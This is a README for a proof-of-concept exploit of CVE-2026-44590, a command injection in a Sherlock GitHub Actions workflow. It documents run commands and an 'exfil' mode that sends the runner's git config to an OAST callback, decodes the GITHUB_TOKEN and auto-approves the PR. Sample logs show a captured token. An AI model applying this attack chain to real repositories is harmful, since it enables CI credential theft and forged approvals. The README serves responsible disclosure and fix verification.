
Proof-of-concept exploit for CVE-2026-44590, a command injection in Sherlock's GitHub Actions workflow enabling RCE and GITHUB_TOKEN exfiltration via pull_request_target.
Discovered & reported by: Astaruf
Full writeup: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/
Upstream advisory: sherlock-project/sherlock GHSA advisory
NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-44590
CVE Record:
This repository contains the proof-of-concept for CVE-2026-44590, a command injection in the validate_modified_targets.yml GitHub Actions workflow of sherlock-project/sherlock. Any GitHub user can open a pull request that triggers arbitrary command execution in the privileged CI context, exfiltrate the workflow's GITHUB_TOKEN, and auto-approve the malicious PR, all without any human interaction.
For the full technical writeup (root-cause analysis, exploitation walkthrough, impact discussion, and a chapter on what an attacker could do in real-world scenarios) see the blog post:
This README focuses exclusively on the PoC script: what it does, how to run it, and what to expect.
poc.pypoc.py is a single self-contained Python script (stdlib only) that automates the entire attack chain end-to-end:
sherlock-project/sherlock if neededmaster back to the pre-fix commit so the bug can be reproduced even after the upstream fixinteractsh-client)GITHUB_TOKEN from the OAST callback (in --mode exfil) and decodes it in clear textVULNERABILITY CONFIRMED or FIX VERIFIEDinteractsh-client)There is exactly one manual step required (clicking GitHub's "I understand my workflows" banner the first time per fork), because no public API exists to dismiss it. The script detects this case and pauses with a clear prompt.
python3 poc.py --fork-owner <your-github-username>
Forks the repo (if needed), syncs with upstream (patched master), opens a malicious PR, runs the attack chain, and reports FIX VERIFIED because the patched workflow blocks the payload before any shell command runs.
python3 poc.py --fork-owner <your-github-username> --vulnerable
Same as above, but first rolls the fork's master back to the pre-fix commit (271608fb). Expected verdict: VULNERABILITY CONFIRMED.
python3 poc.py --fork-owner <your-github-username> --vulnerable --mode exfil
The exfil payload dumps git config --list to the OAST and sleeps for 180 seconds to keep the workflow (and thus the GITHUB_TOKEN) alive. While the workflow is sleeping, the script extracts the token from the OAST log, decodes it, and immediately calls the GitHub API to approve the PR. The PR ends up approved by github-actions[bot].
gh (GitHub CLI), authenticated:
gh auth login
gitinteractsh-client (optional but recommended). When installed, the script auto-spawns it and verifies the callback in-script:
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
--oast-url and the auto-verification step will be skipped.The script does not require a fork to exist beforehand, it creates one automatically.
--mode harmless (default)The payload is a single curl POST with a static confirmation string. No secrets are read, no API calls are made, the only side effect is the OAST callback. Use this to confirm the vulnerability exists without exposing any credential.
--mode exfilThe payload dumps git config --list (which contains the GITHUB_TOKEN base64-encoded under http.https://github.com/.extraheader) to the OAST, then sleeps for 180 seconds. The script then:
x-access-token:ghs_XXXXXXXX....x-access-token: prefix and uses the raw token to call POST /repos/<fork>/pulls/<n>/reviews with the standard approval payload ({"event":"APPROVE","body":"All checks passed. LGTM!"}).github-actions[bot], indistinguishable from legitimate CI automation.Once the approval is recorded, the script skips the rest of the workflow's 180-second sleep, since the attack chain is complete and waiting for the runner to time out adds nothing.
| Flag | Description |
|---|---|
--fork-owner <user> | Required. GitHub username that owns (or will own) the fork |
--fork-name <name> | Fork repository name (default: sherlock) |
--oast-url <url> | OAST endpoint receiving the callback. If omitted, the script auto-spawns interactsh-client and runs the in-script verdict |
--mode harmless|exfil | Payload type (default: harmless) |
--vulnerable | Force-reset the fork's master to the pre-fix commit (271608fb) before running. Implies --no-sync |
--no-sync | Skip syncing the fork with upstream (useful when testing a pinned commit) |
--base-branch <name> | PR target branch on the fork (default: master) |
--keep-branch | Do not delete the PoC branch after completion |
--no-poll | Skip workflow run polling and exit after PR creation |
By design, the PoC opens the PR from a branch on the fork to the master of the same fork. It does not target sherlock-project/sherlock directly. There are two reasons for this.
A pull request on a public repository is visible to anyone. The diff stays indexed even after the PR is closed, and the GitHub Actions logs are accessible via the web UI. Opening a PR with a working command injection payload on the upstream repository would effectively publish a functional exploit before maintainers had a chance to ship a fix. Anyone watching the repository could copy the payload, swap the OAST callback for a malicious endpoint, and use it to exfiltrate the real GITHUB_TOKEN.
The PoC uses a fork-to-fork PR to keep the exploit out of public view while still demonstrating the bug end-to-end.
When you fork sherlock-project/sherlock, the workflow file validate_modified_targets.yml is included in the fork. Opening a PR targeting the fork's master triggers the workflow under the fork's context, with a GITHUB_TOKEN issued for the fork. The mechanics are identical to the original attack:
pull_request_target trigger fires automaticallyGITHUB_TOKENactions/checkout writes the token into .git/config via the http.https://github.com/.extraheader settingThe only difference is the blast radius: the token belongs to the fork, not to sherlock-project/sherlock. The vulnerability is reproduced; the impact is contained.
GitHub disables Actions on freshly created forks behind a UI banner:
Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.
There is no public API to dismiss this banner. The script detects this condition (fork was just created OR has zero historical workflow runs) and pauses with a clear prompt:
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser: https://github.com/<user>/sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...
After clicking the banner once on a given fork, the script will not prompt again on subsequent runs against the same fork.
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork: youruser/sherlock
10:54:36 [*] Payload mode: exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*] status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================
This repository is published for educational and security research purposes only. The vulnerability has been responsibly disclosed to the maintainers, fixed in upstream, and a CVE has been requested. Do not run this PoC against repositories you do not own or do not have explicit permission to test. The author is not responsible for any misuse.